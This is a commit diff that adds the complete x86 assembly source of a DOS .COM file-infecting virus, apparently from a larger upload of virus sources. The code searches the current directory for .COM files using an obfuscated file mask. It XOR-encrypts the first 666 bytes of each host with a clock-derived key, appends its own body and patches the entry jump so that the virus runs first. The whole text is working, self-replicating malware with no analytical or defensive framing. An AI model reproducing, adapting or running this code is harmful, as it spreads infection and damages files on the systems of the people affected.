Add files via upload

2026-06-15 23:39:23 +00:00 · 2021-01-12 17:41:47 -06:00
parent 06c1f4dfdd
commit dc888afe59
99 changed files with 42193 additions and 0 deletions
@@ -0,0 +1,189 @@
+;This virus encrypts the first 666 bytes of the host
+;Its based off of the small virus
+
+CSEG	SEGMENT
+	ASSUME	CS:CSEG, DS:CSEG
+
+		ORG	100h
+
+		JUMPS
+
+Virus_Length	equ	End_Virus-Begin_Virus
+
+Start:
+		jmp	Begin_Virus
+		db	700 dup (90h)
+
+Begin_Virus:
+		call	Delta
+
+Delta:
+		pop	bp
+		sub	bp,offset Delta
+		push	si
+		push	si
+
+		call	Crypt
+
+		mov	ah,1ah
+		lea	dx,[bp+DTA]
+		int	21h
+
+		xor	word ptr [bp+OldBytes],0deadh
+		xor	word ptr [bp+OldBytes+2],0a55h
+
+		pop	di
+		lea	si,[bp+OldBytes]
+		movsw
+		movsw
+
+		mov	ah,4eh
+		mov	cx,7h
+		lea	dx,[bp+ComMask]
+
+Find_Next:
+		call	Dec_
+		int	21h
+		call	Inc_
+		jc	Return
+
+		cmp	word ptr [bp+DTA+1ah],1024
+		jb	Find_Next_
+
+		mov	ax,3d02h
+		lea	dx,[bp+DTA+1eh]
+		int	21h
+
+		xchg	ax,bx
+
+		mov	ah,3fh
+		mov	cx,4
+		lea	dx,[bp+OldBytes]
+		int	21h
+
+		cmp	byte ptr [bp+OldBytes],'M'
+		je	Close_Find_Next
+
+		xor	word ptr [bp+OldBytes],0deadh
+		xor	word ptr [bp+OldBytes+2],0a55h
+
+		call	Move_Begin
+
+		mov	ah,3fh
+		mov	cx,666
+		lea	dx,[bp+HostBuffr]
+		push	dx
+		int	21h
+
+		mov	ah,2ch
+		int	21h
+		mov	word ptr [bp+Key],dx
+
+		pop	si
+
+		call	Crypt
+		call	Move_Begin
+
+		mov	ah,40h
+		mov	cx,666
+		lea	dx,[bp+HostBuffr]
+		int	21h
+
+		mov	ax,4202h
+		call	Move_Fp
+
+		sub	ax,4
+		mov	word ptr [bp+NewBytes+2],ax
+
+		mov	ah,40h
+		mov	cx,Virus_Length
+		lea	dx,[bp+Begin_Virus]
+		int	21h
+
+		mov	ax,4200h
+		call	Move_Begin
+
+		mov	ah,40h
+		mov	cx,4
+		lea	dx,[bp+NewBytes]
+		int	21h
+
+Close_Find_Next:
+		mov	ah,3eh
+		int	21h
+
+Find_Next_:
+		mov	ah,4fh
+		jmp	Find_Next
+
+Dec_:
+		mov	cx,5
+		lea	si,[bp+ComMask]
+		mov	di,si
+Dec_Loop:
+		lodsb
+		dec	al
+		stosb
+		loop	Dec_Loop
+		xor	al,al
+		stosb
+		ret
+
+Inc_:
+		mov	cx,5
+		lea	si,[bp+ComMask]
+		mov	di,si
+Inc_Loop:
+		lodsb
+		inc	al
+		stosb
+		loop	Inc_Loop
+		mov	al,"6"
+		stosb
+		ret
+
+;ComMask	db	"*.COM",0
+ComMask		db	"+/DPN6"
+NewBytes	db	"M",0e9h,0,0
+;OldBytes	db	0cdh,20h,0,0
+OldBytes	dw	0fe60h
+		dw	0a55h
+
+Move_Begin:
+		mov	ax,4200h
+
+Move_Fp:
+		xor	cx,cx
+		cwd
+		int	21h
+		ret
+
+Return:
+		mov	ah,1ah
+		mov	dx,80h
+		int	21h
+		ret
+
+Crypt:
+		push	bx
+		mov	cl,4
+		mov	dx,word ptr [bp+Key]
+		ror	dx,cl
+		mov	cx,333
+		mov	di,si
+Xor_Loop:
+		lodsw
+		xor	ax,dx
+		stosw
+		loop	Xor_Loop
+		pop	bx
+		ret
+
+Key		dw	0000h
+
+End_Virus:
+DTA		db	42 dup (?)
+HostBuffr	db	666 dup (?)
+
+CSEG	ENDS
+	END	START